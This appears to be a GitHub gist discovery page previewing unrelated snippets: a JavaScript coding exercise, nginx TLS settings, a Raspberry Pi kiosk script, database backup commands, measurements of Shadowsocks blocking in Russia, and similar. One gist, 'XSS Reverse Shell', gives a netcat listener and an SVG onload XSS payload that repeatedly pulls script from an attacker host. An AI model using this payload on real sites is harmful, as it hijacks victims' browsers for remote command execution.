Skip to content

Instantly share code, notes, and snippets.

@diegotauchert
diegotauchert / gist:82635d52ae697a64756650554db3fff7
Created February 8, 2022 02:02
Strip Property function, hackerrank Javascript code chalenge
function stripProperty(obj, prop) {
const newObj = Object.keys(obj).filter(el => el !== prop)
const values = newObj.map(el => [el, obj[el]])
return Object.fromEntries(values)
}
@ivanvza
ivanvza / xss_shell.txt
Created February 28, 2017 20:36
XSS Reverse Shell
Attacker: while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Victim: <svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)>
@konklone
konklone / ssl.rules
Last active May 19, 2024 18:02
nginx TLS / SSL configuration options for konklone.com
# Basically the nginx configuration I use at konklone.com.
# I check it using https://www.ssllabs.com/ssltest/analyze.html?d=konklone.com
#
# To provide feedback, please tweet at @konklone or email eric@konklone.com.
# Comments on gists don't notify the author.
#
# Thanks to WubTheCaptain (https://wubthecaptain.eu) for his help and ciphersuites.
# Thanks to Ilya Grigorik (https://www.igvita.com) for constant inspiration.
server {
@huksley
huksley / kiosk-install.sh
Last active May 19, 2024 18:01
Raspberry PI OS Lite configure kiosk - shows multiple web pages as chrome tabs and rotates between them
sudo apt-get update
sudo apt-get -y upgrade
sudo apt-get install --no-install-recommends -y xserver-xorg xinit x11-xserver-utils
sudo apt-get install -y chromium-browser matchbox-window-manager xautomation unclutter xdotool
sudo tee /boot/kiosk.sh <<EOF
#!/bin/sh
xset -dpms # disable DPMS (Energy Star) features.
xset s off # disable screen saver
xset s noblank # don't blank the video device
@dorneanu
dorneanu / plugin_architecture.md
Last active May 19, 2024 18:01
Python: Implement basic plugin architecture with Python and importlib

Implementing a basic plugin architecture shouldn't be a complicated task. The solution described here is working but you still have to import every plugin (inheriting from the base class).

This is my solution:

Basic project structure

$ tree
@vlucas
vlucas / markdown-import.php
Last active May 19, 2024 17:58
Imports Markdown files in a local directory into a WordPress installation
<?php
// Turn on all error reporting so we can see if anything goes wrong
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(-1);
// Relative path to your wp-config.php file (to connect to the database)
require '../wp-config.php';
require './frontmatter.php'; // Parses YAML frontmatter - https://github.com/Modularr/YAML-FrontMatter
require './Parsedown.php'; // Markdown parser - https://github.com/erusev/parsedown
@Jiab77
Jiab77 / install-elementary-os-juno-on-secureboot-efi-enabled-computer.md
Last active May 19, 2024 17:57
Install ElementaryOS Juno on SecureBoot + EFI enabled computer

Install ElementaryOS Juno on SecureBoot + EFI enabled computer

Yet another night passed to fight with the machine. 💪

I was really happy to know that the latest version of ElementaryOS were out so I could not wait to install it on my latest laptop Acer Predator. 🤘 But... as usual, it was not without troubles...

Compatible with SecureBoot + EFI enabled computers? Awesome!!

But not really in fact... It might work for some brands but for my Acer Predator... not at all. Well it can work but will requires the steps explained below.

@fortuna
fortuna / $key.tsv
Last active May 19, 2024 17:57
Results of investigating blocking of Outline Shadowsocks in Russia. The best way to navigate is to use the filter to see the data for a specific client ISP, server network, error, port, URL, etc
socks_port client_isp url server_net server_port exit_code ok output
33333 MTS PJSC http://ipinfo.io/org Digital Ocean 443 28 curl: (28) Operation timed out after 10004 milliseconds with 0 bytes received
33333 MTS PJSC https://ipinfo.io/org Digital Ocean 443 56 curl: (56) Failure when receiving data from the peer
33334 PJSC MegaFon http://ipinfo.io/org Digital Ocean 443 0 AS14061 DigitalOcean, LLC
33334 PJSC MegaFon https://ipinfo.io/org Digital Ocean 443 0 AS14061 DigitalOcean, LLC
33335 Tele2 Russia http://ipinfo.io/org Digital Ocean 443 0 AS14061 DigitalOcean, LLC
33335 Tele2 Russia https://ipinfo.io/org Digital Ocean 443 56 curl: (56) Failure when receiving data from the peer
33336 Bee Line Cable http://ipinfo.io/org Digital Ocean 443 0 AS14061 DigitalOcean, LLC
33336 Bee Line Cable https://ipinfo.io/org Digital Ocean 443 56 curl: (56) Failure when receiving data from the peer
33333 MTS PJSC http://ipinfo.io/org Digital Ocean 5555 0 AS14061 DigitalOcean, LLC
@AtulKsol
AtulKsol / db_backup_commands.md
Last active May 19, 2024 17:53
Commands to backup & restore database
  1. pg_dump is a nifty utility designed to output a series of SQL statements that describes the schema and data of your database. You can control what goes into your backup by using additional flags.
    Backup: pg_dump -h localhost -p 5432 -U postgres -d mydb > backup.sql

    Restore: psql -h localhost -p 5432 -U postgres -d mydb < backup.sql

    -h is for host.
    -p is for port.
    -U is for username.
    -d is for database.

/*
* Copyright (c) 2010 Apple Inc. All rights reserved.
*/
function characterNeedsScoreMultiplier(e) {
if (!e || e.length === 0)
return !1;
var t = e.charCodeAt(0);
return t > 11904 && t < 12031?!0 : t > 12352 && t < 12543?!0 : t > 12736 && t < 19903?!0 : t > 19968 && t < 40959?!0 : t > 44032 && t < 55215?!0 : t > 63744 && t < 64255?!0 : t > 65072 && t < 65103?!0 : t > 131072 && t < 173791?!0 : t > 194560 && t < 195103?!0 : !1
}
function domDistance(e, t, n) {